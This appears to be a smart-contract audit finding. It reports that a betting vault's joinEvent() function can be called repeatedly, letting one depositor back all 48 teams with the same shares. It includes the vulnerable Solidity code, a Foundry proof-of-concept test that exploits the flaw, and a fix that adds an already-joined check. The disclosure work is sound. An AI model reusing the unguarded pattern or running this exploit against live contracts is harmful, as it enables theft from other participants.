Root + Impact:
joinEvent() function can be called multiple times, Zero risk investment for an attacker.
Description
-
User should only be able to join an event by placing their bet on a single team, calling the function `joinEvent()` once.
-
The function doesn't check whether the user has already joined the event, the user can hegde their bet on all team selection.
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
Risk
Likelihood:
-
Reason 1: Very likely to occur, users who have deposited can join the event.
-
Reason 2: joinEvent() is a public function.
Impact:
-
Impact 1: Zero risk investment for the attacker, Guranteed to win.
-
Impact 2: Attacker can make all 48 team selections with the same vault shares.
Proof of Concept
Did a test to show how a user can exploit calling the joinEvent() function for all 48 team selections, with the same amount of shares.
function test_joinEvent_Exploit() public {
vm.startPrank(user1);
mockToken.approve(address(briVault), 10 ether);
briVault.deposit(10 ether, user1);
for (uint256 i = 0; i < 48; i++) {
briVault.joinEvent(i);
}
vm.stopPrank();
uint256 shares = briVault.balanceOf(user1);
for (uint256 i = 0; i < 48; i++){
assertEq(briVault.userSharesToCountry(user1, i), shares);
}
}
Recommended Mitigation:
Use a boolean state variable to check whether user has already joined event. revert if user tries to join again.
+ error alreadyJoined();
+ mapping(address => bool) public addressJoined;
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
//@> there should be a check if user already joined the event.
+ if (addressJoined[msg.sender]){
+ revert alreadyJoined();
+ }
+ addressJoined[msg.sender] = true;
userToCountry[msg.sender] = teams[countryId];
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}